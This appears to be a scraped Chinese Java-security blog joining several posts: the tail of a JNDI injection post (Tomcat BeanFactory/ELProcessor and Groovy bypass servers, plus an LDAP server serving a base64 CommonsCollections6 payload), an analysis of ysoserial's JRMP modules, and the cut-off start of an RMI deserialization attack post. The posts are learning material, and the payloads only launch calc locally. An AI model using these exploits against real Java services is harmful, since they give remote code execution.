使用适合你的项目的Tomcat版本 --></dependency> RMI 服务端代码如下: 12345678910111213141516171819import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class TomcatRmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "test=eval")); resourceRef.add(new StringRefAddr("test", "Runtime.getRuntime().exec(\\"calc\\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Tomcat8bypass", referenceWrapper); System.out.println("Registry运行中......"); }} 受害者客户端代码如下: 123456789import javax.naming.InitialContext;public class TomcatRmiClient { public static void main(String[]args) throws Exception{ String string = "rmi://localhost:1099/Tomcat8bypass"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); }} 运行后成功弹出计算器。 接下来说一下服务端代码为什么这么写。 原理分析运行服务端代码,调试客户端代码。 在 JNDI 动态协议转换的调用链最后,我们来到了 NamingManager#getObjectInstance 方法,而在这个方法中最终会调用 BeanFactory 的 getObjectInstance 方法: 跟进 BeanFactory 的 getObjectInstance 方法: 首先就会判断传入的 obj 对象是否是 ResourceRef 类的实例,这就是服务端代码封装一个 ResourceRef 对象的原因。 接下来获取 ResourceRef 其中的 forceString 属性值,也就是 “test=eval” ,将等号作为分隔符分隔字符串,setterName 获取了等号右边的部分,也就是 eval ,而 param 获取了等号左边的部分 test 。最后将它们 put 进一个 HashMap 里面: 接下来就是遍历 ref 的所有属性,获取除了 scope、auth、forceString、singleton 以外的属性。这里获取到 test 属性,其值是 Runtime.getRuntime().exec("calc") ,也就是我们一开始设置的那个属性。 由于 HashMap 对象 forced 中存在键 test -> eval ,这里获取的 method 自然不为空,于是在这里就执行了 calc 命令: 在这里就可以看出:BeanFactory 这个类实际上允许执行任意类的任意方法,而服务端代码选用了 javax.el.ELProcessor 的 eval 方法,参数就是 Runtime.getRuntime().exec(“calc”) ,来命令执行。 GroovyGroovy 是一种面向对象的动态脚本语言,运行在 Java 虚拟机 (JVM) 上,具备与 Java 无缝集成的特性。在 Groovy 中,@ASTTest 是一种用于抽象语法树(AST)测试的特殊注解。它允许我们在编译阶段对代码的 AST(Abstract Syntax Tree,抽象语法树)进行断言和检查。也就是说在生成字节码之前,可以通过 @ASTTest 下断言执行代码。 Groovy 中的 AST 是在编译过程中对代码结构的中间表示。编译器将源代码转换为 AST 后,再生成字节码。 利用方式还是用 BeanFactory 类调用 GroovyClassLoader 类的 parseClass 方法,执行一个 Groovy 脚本。 服务端代码如下: 123456789101112131415161718192021222324package GroovyRmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.NamingException;import javax.naming.StringRefAddr;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class GroovyRmiServer { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); resourceRef.add(new StringRefAddr("forceString", "faster=parseClass")); String script = String.format("@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\\"%s\\") }) def faster ", "calc"); resourceRef.add(new StringRefAddr("faster",script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Groovy2bypass", referenceWrapper); System.out.println("Registry运行中......"); }} LDAP 高版本绕过JDK 11.0.1、8u191、7u201、6u211 版本之后,默认禁用了远程类加载,需要将 com.sun.jndi.ldap.object.trustURLCodebase 设置为 true 才能解除限制,那么通过设置 codebase 远程加载的方式就显得有些鸡肋了。 序列化存储LDAP 除了通过类似 codebase 的方式存储远程对象的信息外,还可以直接存储对象的序列化数据,只需要设置以下两个属性即可: 12javaSerializedData: aced00573…javaClassName: Exploit 以 CC6 为例,我们先生成一段编码后的 CC6 的序列化数据,然后将其添加到 LDAP 的属性中。LDAP 服务端代码如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import java.util.Base64;public class ldapServerSerialize { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8002/#EvilClass"; int port = 10389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } String base64Data = "rO0ABXNyABFqYXZhLnV0" + "aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAA" + "Ax3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5" + "UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21h" + "cHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZ" + "WN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2Nv" + "bW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmN" + "vbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5" + "zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3h" + "wdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZA" + "gAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdG" + "FudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5" + "SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVu" + "Y3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL" + "09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdA" + "ASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA" + "AAAACdAAKZ2V0UnVudGltZXB0ABFnZXREZWNsYXJlZE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzc" + "zurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AHHN" + "xAH4AE3VxAH4AGAAAAAJwcHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAA" + "AAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAEY2FsY3QABGV4ZWN1cQB+ABwAAAABcQB" + "+AB9zcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQABHRlc3R4"; e.addAttribute("javaClassName", "Exploit"); e.addAttribute("javaSerializedData", Base64.getDecoder().decode(base64Data)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }} 客户端代码不变,运行后依旧能成功命令执行。 这样的方式就不需要受害者去远程加载类,而只需要客户端本地有对应的依赖即可。 参考文章JNDI 注入漏洞的前世今生 Java 反序列化之 JNDI 学习 Java 安全学习 —— JNDI 注入 JNDI 重看","categories":["Java 安全"]},{"title":"漏洞篇 - ysoserial 的 JRMP 模块分析","path":"/2024/08/28/Java 安全/漏洞篇-ysoserial的JRMP模块分析/","content":"JRMP 协议介绍JRMP(Java Remote Method Protocol)是为 Java RMI 设计的专有协议,负责处理 RMI 调用的实际网络传输。它是基于 TCP 的,确保了通信的可靠性和有序性。也就是说:RMI 使用 JRMP 协议来处理网络通信。 当然,RMI 并不止支持 JRMP 这一种协议,还可以使用比如 IIOP 协议来进行网络通信。 ysoserial 中的 JRMP 模块通常有两种利用方式。 第一种:payloads/JRMPListener + exploit/JRMPClient 第二种:exploit/JRMPListener + payloads/JRMPClient 接下来我们会逐个分析这四个类。 payloads/JRMPListener + exploit/JRMPClientysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是: 1、先往存在漏洞的服务器发送 payloads/JRMPLIstener ,服务器反序列化该 payload 后,会开启一个 rmi 服务并监听在设置的端口 2、然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的 payload,从而达到命令执行的结果。 在 payloads/JRMPListener 的代码注释中,作者已经给出了调用链,这与我们在上一篇文章中分析的 UnicastRemoteObject 调用链一致,就不再赘述: 1234567891011/** * Gadget chain: * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 * UnicastRemoteObject.reexport() line: 266 * UnicastRemoteObject.exportObject(Remote, int) line: 320 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 * LiveRef.exportObject(Target) line: 147 * TCPEndpoint.exportObject(Target) line: 411 * TCPTransport.exportObject(Target) line: 249 * TCPTransport.listen() line: 319 调用的顺序是从上往下,我们先来分析 payloads/JRMPListener 类。 payloads/JRMPListener1234567891011121314151617181920212223public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> { public UnicastRemoteObject getObject(final String command) throws Exception { int jrmpPort = Integer.parseInt(command); UnicastRemoteObject uro = Reflections.createWithConstructor( ActivationGroupImpl.class, RemoteObject.class, new Class[]{ RemoteRef.class }, new Object[]{ new UnicastServerRef(jrmpPort) }); Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); return uro; } public static void main(final String[] args) throws Exception { PayloadRunner.run(JRMPListener.class, args); }} 它的 getObject 方法就是用来获取一个 UnicastRemoteObject 对象,这个对象被反序列化就会开启监听。 getObject 方法有一个参数,就是要设置的端口号,当目标服务器反序列化 UnicastRemoteObject 对象时,开启监听就是监听这个端口。 接着调用了 Reflections 的 createWithConstructor 方法。Reflections 是 ysoserial 中自定义的类,位于 ysoserial.payloads.util 包中。Reflections 的 createWithConstructor 方法: 12345678public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs);} 这个方法有四个参数,第一个参数是要被实例化的类,第二个参数是要被获取构造方法的类,第三个和第四个参数则分别是构造方法需要的参数类型和参数值。 所以这里调用 Reflections 的 createWithConstructor 方法实际是利用 RemoteObject 的构造方法创建了一个 ActivationGroupImpl 对象,并将 new UnicastServerRef(jrmpPort) 作为构造方法的参数: 最后用 UnicastRemoteObject 接收,完成了向上转型。由于 ActivationGroupImpl 继承了 ActivationGroup ,ActivationGroup 又继承了 UnicastRemoteObject ,且 ActivationGroupImpl 和 ActivationGroup 都没有重写 readObject 方法,所以当 ActivationGroupImpl 对象被反序列化时,会调用 UnicastRemoteObject 的 readObject 方法。 事实上,这里除了使用 ActivationGroupImpl 类,直接使用 UnicastRemoteObject 类也是可以的。 后面主函数中调用的 PayloadRunner.run 方法就是先调用 JRMPListener 的 getObject 方法,将获取到的对象序列化再反序列化,只是测试用的。 那么到这里 payloads/JRMPListener 就分析完了,接下来分析 exploit/JRMPClient 。 exploit/JRMPClient作者在本类的注释中说明了 exploit/JRMPClient 的功能: 目标是远程 DGC ,只要有监听,那么就一定存在 DGC(分布式垃圾回收)。 不反序列化任何数据,意思是不接收服务端发送的任何数据,这样就避免了被反过来攻击。 12345678910/** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ exploit/JRMPClient 中有一个主要的方法 makeDGCCall 和一个静态内部类 MarshalOutputStream 。 makeDGCCall 方法 参数说明: hostname:目标主机名或 IP 地址。 port:目标主机的端口号。 payloadObject:需要发送的序列化对象。 建立连接: SocketFactory.getDefault().createSocket(hostname, port):通过默认的套接字工厂创建与目标主机的 TCP 连接。 s.setKeepAlive(true):启用 TCP 的保活功能,以保持连接活跃。 s.setTcpNoDelay(true):禁用 Nagle 算法,立即发送数据,而不等待更多的数据。 准备数据流: DataOutputStream:包装 OutputStream,以便写入原始数据类型。 发送 RMI 协议的标志和版本信息: Magic:RMI 协议的标识符,用于验证连接。 Version:协议版本号。 SingleOpProtocol:指示该连接只用于单次操作。 发送 DGC 操作的调用标志: 发送一个字节,表示是一次 RMI 调用。 序列化对象并发送: MarshalOutputStream 就是 exploit/JRMPClient 的静态内部类,一个自定义的 ObjectOutputStream 的子类,用于序列化对象。MarshalOutputStream 中并没有重写 writeLong 、writeInt 等方法,实际还是调用的 ObjectOutputStream 中的方法。 发送一些固定的标识符和数据,用于 DGC 协议。 最后,序列化并发送 payloadObject 。 清理资源: 确保在方法结束时关闭数据流和套接字,以释放资源。 main 方法 在主函数中先是判断了一下参数长度是否小于 4 ,如果小于 4 的话输出报错信息: ,这意味这要想成功运行 exploit/JRMPClient 需要提供四个参数:主机地址、端口号、payload 类型、payload 参数(也就是要执行的命令),就像这样: 接着用 Utils.makePayloadObject 创建 payload 对象,这里用到了参数 3 和参数 4 。Utils 是 ysoserial 中自定义的工具类,位于 ysoserial.payloads 包中,它的 makePayloadObject 方法会根据要使用的 gadget 和要执行的命令创建 payload 对象。这里就不深究了。 最后就是调用 makeDGCCall 方法将 payload 对象序列化发送到目标地址。 DGC 处理逻辑客户端发送的 payload ,其实是利用了服务端的 DGC 机制来反序列化,那么就具体来看 DGC 端的处理逻辑。 DGC 创建在远程对象导出的时候,最终我们是来到了 ObjectTable 的 putTarget(Target) 方法。 回顾一下远程对象导出流程: 123456789UnicastRemoteObject#exportObject(Remote, UnicastServerRef)UnicastServerRef#exportObject(Remote, Object, boolean)\t-> Util#createProxy(Class<?>, RemoteRef, boolean) // 创建代理对象\t-> LiveRef#exportObject(Target) TCPEndpoint#exportObject(Target) TCPTransport#exportObject(Target) -> TCPTransport#listen()\t// 开启监听 -> Transport#exportObject(Target) ObjectTable#putTarget(Target)\t// 远程对象导出 ObjectTable 的 putTarget 方法: 这里调用了 DGCImpl 的静态变量 dgcLog ,那么在调用静态变量之前就会对 DGCImpl 进行初始化,就会执行 DGCImpl 的静态代码块。 DGCImpl 的静态代码块就是新开一个线程,获取一个 DGCImpl 对象,然后把 DGCImpl 对象封装进一个 Target 对象里面,最后又调用 ObjectTable 的 putTarget 方法将这个 Target 对象注册到 ObjectTable 中,使其可以通过 RMI 系统访问: 以上就是 DGC 被创建的过程。 DGC 调用当客户端向服务端发起通信时,服务端会调用 TCPTransport 的 handleMessages 来处理请求,与 RMI 调用相似。 来回顾一下服务端的处理逻辑: 12345TCPTransport$ConnectionHandler.run0TCPTransport.handleMessagesTransport.serviceCallUnicastServerRef.dispatchUnicastServerRef.oldDispatch 而最终调用 RegistryImpl_Skel 的 dispatch 还是 DGCImpl_Skel 的 dispatch 是在 Transport.serviceCall 方法中判断的。 exploit/JRMPClient 的 makeDGCCall 方法向数据流中写入了很多数据,我们可以看看这些数据是如何被接收的。 TCPTransport$ConnectionHandler.run0 方法从数据流中读取数据,这里读取一个 int 数据: 然后又读取一个 short 数据: 然后又读取一个 byte 数据,进入 switch 选择语句: 这与 exploit/JRMPClient 的 makeDGCCall 方法第四步:发送 RMI 协议的标志和版本信息,相对应起来了。 由于前面客户端发送的是 TransportConstants.SingleOpProtocol,所以这里进入 case TransportConstants.SingleOpProtocol ,也就会调用 handleMessages 。 在 TCPTransport 的 handleMessages 方法中也有与 exploit/JRMPClient 的 makeDGCCall 方法第五步对应的 read 方法的调用: 接下来调用 Transport 的 serviceCall 方法: 跟进 Transport 的 serviceCall 方法: 可以看到,这里定义了一个参数 id ,这个 id 是通过读取参数 call 的输入流来获取的。 跟进一下 ObjID.read 方法: 这里读取了一个 long 数据。 再跟进 UID.read 方法: 连续读取了 int、long、short 数据。 这两步与 exploit/JRMPClient 的 makeDGCCall 方法的第六步相对应,那里写入的数值正是用来设置这个 id 值的,往后看会发现这样设置是为了使 id 值与 dgcID 相等。 回到 Transport 的 serviceCall 方法,接着对这个 id 进行一个判断,如果 id 等于 dgcID ,那么会将 Transport 对象设置为空,否则设置成当前类。之后又会利用 id 和这个 Transport 对象构造一个 Target 对象: 调试起来会发现 dgcID 的值如图所示,而此时 id 的值与之相等: 此时获取到的 Target 对象中包含的 skel 就已经是 DGCImpl_Skel 对象了,所以其实在这里就决定了最后调用的是 RegistryImpl_Skel 还是 DGCImpl_Skel : 然后获取 Target 对象中的 disp 属性,也就是一个 UnicastServerRef 对象,最后调用 UnicastServerRef 的 dispatch 方法: UnicastServerRef 的 dispatch 方法会调用其 oldDispatch 方法,还读取了一个 int 数据,将 num 设置为 1 ,然后作为 oldDispatch 的 参数传入: UnicastServerRef 的 oldDispatch 方法读取了最后一个 long 数据,到这里数据流中写入的数据就被读取完了,这里的 op 是 1,hash 是 -669196253586618813L,作为 skel.dispatch 方法的参数传入: 接着会调用 DGCImpl_Skel 的 dispatch 方法,首先会判断这个 hash 值是否等于 -669196253586618813L : 所以 exploit/JRMPClient 才要往数据流中写入一个那样的数据。 此时 opnum 值为 1 ,进入 case 1: case0 和 case1 的区别在于 case0 调用 clean 方法,而 case1 调用 dirty 方法。这里选用了 case1 。 最后在这里触发反序列化。 以上就是 DGC 调用的过程了,exploit/JRMPClient 向数据流写入的每一个数据都是有意义的,不得不赞叹其精妙。 测试使用先启动 payloads/JRMPListener ,再启动 exploit/JRMPClient(记得启动时要带上参数),我爆出了如下错误: 看来是被拦截了,有某种安全机制阻止我反序列化 HashSet 这个类。可能是高版本的 JEP 290 导致的。 将 JDK 版本降为 8u65 后成功运行并弹出计算器: exploit/JRMPListener + payloads/JRMPClient攻击流程如下: 1、攻击方在自己的服务器使用 exploit/JRMPListener 开启一个 rmi 监听 2、往存在漏洞的服务器发送 payloads/JRMPClient ,payload 中已经设置了攻击者服务器 ip 及 JRMPListener 监听的端口,漏洞服务器反序列化该 payload 后,会去连接攻击者开启的 rmi 监听,在通信过程中,攻击者服务器会发送一个可执行命令的 payload,从而达到命令执行的目的。 payloads/JRMPClient作者在注释中给出了调用链: 1234567891011121314* UnicastRef.newCall(RemoteObject, Operation[], int, long)* DGCImpl_Stub.dirty(ObjID[], long, Lease)* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)* DGCClient.registerRefs(Endpoint, List<LiveRef>)* LiveRef.read(ObjectInput, boolean)* UnicastRef.readExternal(ObjectInput)** Thread.start()* DGCClient$EndpointEntry.<init>(Endpoint)* DGCClient$EndpointEntry.lookup(Endpoint)* DGCClient.registerRefs(Endpoint, List<LiveRef>)* LiveRef.read(ObjectInput, boolean)* UnicastRef.readExternal(ObjectInput) 从下往上看,入口点是 UnicastRef 的 readExternal 方法。UnicastRef 继承了 java.io.Externalizable ,所以在反序列化时会触发其 readExternal 方法。 然后在 DGCClient.registerRefs(Endpoint, List) 处出现分支选项,所以出现两条链子。 来看代码,payloads/JRMPClient 的 getObject 方法: 首先是从参数中分割出主机名和端口号,如果没有设置,则随机生成一个端口号。 然后获取一个 UnicastRef 对象,设置好参数。再将其封装进 RemoteObjectInvocationHandler 对象,最后利用这个 RemoteObjectInvocationHandler 对象生成一个代理对象。那么这个 proxy 在被反序列化时就会先调用 RemoteObjectInvocationHandler 的父类 RemoteObject 的 readObject 方法。 接下来看 main 方法: 第一行是将当前线程的上下文类加载器(Context ClassLoader)设置为 JRMPClient 类的类加载器。 第二行就是调用 PayloadRunner.run 方法,前面说过了,PayloadRunner.run 方法就是先调用传入对象的 getObject 方法,将获取到的对象序列化再反序列化。 下面我们调试一下 payloads/JRMPClient 。在 RemoteObject.readObject 和 UnicastRef.readExternal 处下好断点,开始调试: 首先来到了 PayloadRunner.run 方法: 这里调用 getObject 方法时为其设置的参数是 “calc.exe” ,我觉得很奇怪,继续跟进 payloads/JRMPClient 的 getObject 方法往下看: 果然获取到的 host 是 “calc.exe” ,而端口号是随机生成的 11871 。 之后就是把这个 host 封装进了 TCPEndpoint : 后面就没什么可看的了,回到 PayloadRunner.run: 接下来会调用 Serializer.serialize 将结果序列化。 跟进 Serializer.serialize: 最后所有的一切都会封装进 serialized 数组,然后调用 Deserializer.deserialize 将其反序列化: Deserializer.deserialize: 以上就是 PayloadRunner.run 方法的工作流程。 继续跟进,来到了 RemoteObject.readObject 方法: 在方法的最后调用 ref.readExternal ,也就是 UnicastRef.readExternal 方法。 继续跟进 UnicastRef.readExternal 方法: 调用 LiveRef.read ,继续跟进 LiveRef.read : 在方法的最后调用了 DGCClient.registerRefs ,跟进它: 在这里分化出了两条路,一条是 EndpointEntry.lookup ,一条是 EndpointEntry.registerRefs 。 先来看 EndpointEntry.lookup : 这里调用了 DGCClient$EndpointEntry 的构造方法,跟进它: 这里调用了 renewCleanThread.start ,其实就是 Thread.start ,单开一个线程用于通信。 那么这个分支就结束了。 接下来看另一边 EndpointEntry.registerRefs ,在 EndpointEntry.registerRefs 方法的最后调用了 makeDirtyCall : 跟进 DGCClient$EndpointEntry.makeDirtyCall 方法: 这里调用了 dgc.dirty ,也就是 DGCImpl_Stub 的 dirty 方法,跟进它: 这个方法的架构和 RegistryImpl_Stub 的 bind 方法差不多,都调用了 UnicastRef 的 newCall 方法、invoke 方法和 done 方法。 UnicastRef 的 newCall 方法发起一个远程调用,并传递相关的信息;invoke 方法执行实际的远程方法调用,负责整个从发起调用到接收结果的过程。它处理了网络通信、序列化/反序列化、以及异常处理;done 方法在远程方法调用结束后进行资源清理和上下文关闭,确保系统资源得以释放,避免资源泄漏。 UnicastRef 的 invoke 方法: 调用 call.executeCall() ,实际上是调的 StreamRemoteCall.executeCall() 方法。 StreamRemoteCall 的 executeCall() 方法: 这里根据 returnType 来判断如果正常的话直接返回,异常的话则反序列化服务端传来的对象。 回到 DGCImpl_Stub 的 dirty 方法,在上一步中如果判断正常,那么最后是在这里反序列化: 到这里 payloads/JRMPClient 就分析完了。大体上就是开启监听(以便于与 exploit/JRMPListener 通信),然后调用 dirty 方法,反序列化攻击服务端传过来的数据,从而造成攻击。 exploit/JRMPListenermain 方法 main 方法中同样提示了使用此类需要三个参数:端口号、payload 类型、payload 参数(也就是要执行的命令)。 接着调用了 JRMPListener 的 run 方法,且存在调用链:main -> run -> doMessage -> doCall 。 run 方法run 方法实现了一个简单的多线程服务器,用于接收和处理来自客户端的连接,并基于传输协议进行相应的操作。run 方法首先会从数据流中读取数据: 然后会根据 protocol 的值来调用不同的处理逻辑: 无论是第一种基于流的协议,还是第二种用于单次操作的协议,最后都会调用 doMessage 方法。如果是其他的协议则会报错。JRMP 协议通常是基于流的,所以会走第一个 case 。 doMessage 方法doMessage 方法同样是根据接收到的数据执行不同的操作: 如果接收到的数据是一个 RMI 请求,那么调用 doCall 方法; 如果是一个 ping 消息,那么响应一个 PingAck 消息,表示服务器收到了 ping 请求并确认连接正常; 如果是一个 DGC 的应答包,那么使用 UID.read(in) 从输入流中读取 UID 对象,这通常与远程对象的生命周期管理相关。 doCall 方法docall 方法首先是定义了一个匿名内部类 ObjectInputStream ,重写了 ObjectInputStream 中的 resolveClass 方法,然后实例化了一个对象: 匿名内部类没有名字,并且在定义时就直接实例化。它允许你在方法内部或局部范围内定义类,同时重写或扩展父类(或接口)的功能。 在这个匿名内部类中,重写了 ObjectInputStream 的 resolveClass 方法。resolveClass 方法的作用是在反序列化过程中,根据 ObjectStreamClass 对象的描述信息来加载实际的类。 如果类名是 “[Ljava.rmi.server.ObjID;”(表示 ObjID[] 数组),则返回 ObjID[].class 。 如果类名是 “java.rmi.server.ObjID”,则返回 ObjID.class 。 如果类名是 “java.rmi.server.UID”,则返回 UID.class 。 如果遇到其他类名,则抛出 IOException 。 也就是说,在这里允许反序列化的类有三个:ObjID[].class 、ObjID.class 和 UID.class 。其他的类是不允许反序列化的,这样就避免了服务端被攻击。 接下来 doCall 方法读取了一个 ObjID 对象,并且如果 read.hashCode() == 2 ,那么表示这是一次 DGC 调用: read.hashCode() 方法其实就是返回了它的 objNum 属性: 前面在分析 DGC 处理逻辑的时候也提到了 ObjID 对象的 objNum 属性值是 2 ,这里放一张原图吧: 所以 doCall 也通过这种方式来判断是否是 DGC 调用。 doCall 方法的最后,服务端向客户端返回一个 BadAttributeValueExpException 异常,恶意对象 payload 就被放置在这个 BadAttributeValueExpException 的 val 属性值当中了: 这里写入数据 oos.writeByte(TransportConstants.ExceptionalReturn) 表明是一个异常返回,其值是 2 : payloads/JRMPClient 中提到过,客户端应该是在 StreamRemoteCall 的 executeCall() 方法反序列化: 那么 exploit/JRMPListener 的分析到这里就结束了。 测试使用在测试之前,先修改一下 PayloadRunner.run 方法,因为在前面调试的时候知道这个 run 方法为 getObject 方法设置的参数不合理,所以这里修改一下参数: 然后为 exploit/JRMPListener 设置一下运行参数: 先启动 exploit/JRMPListener ,再运行 payloads/JRMPClient ,就可以成功弹出计算器了: 事实上,如果参数可控,那么只要客户端向恶意服务端执行了一个 lookup 方法,就会遭受攻击: 这样也是可以的。 总结ysoserial 中的 JRMP 模块可以作为针对 DGC 攻击的经典范例。 参考文章ysoserial exploit/JRMPListener 原理剖析 ysoserial exploit/JRMPClient 原理剖析 Ysoserial-JRMPListener/JRMPClient 学习","categories":["Java 安全"]},{"title":"漏洞篇 - RMI 相关的攻击","path":"/2024/08/28/Java 安全/漏洞篇-RMI相关的攻击/","content":"攻击 RMI前置知识:基础篇 - RMI 协议详解 我们可以将参与 RMI 远程调用的角色分为三个:Server 端、Registry 端、Client 端(一般来说 Server 端和 Registry 端在一起),它们三者之间都会进行通信,并且全部的通信流程均通过序列化与反序列化实现。基于此,我们可以实现反序列化攻击。 攻击 Server 端参数反序列化如果服务端提供的服务对象参数是 Object 类型,那么意味着客户端远程调用时可以传递任意类型的参数,这个参数将会被序列化发送到服务端,然后在服务端反序列化。 例如,服务端的 SayHello 服务有一个方法 eval ,其参数是 Object 类型: 以 CC6 弹计算器为例(前提是服务端有 CC 依赖),客户端传递一个恶意对象: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667package Client;import Server.SayHelloInterface;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.Transformer;import java.lang.reflect.Field;import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Map;public class 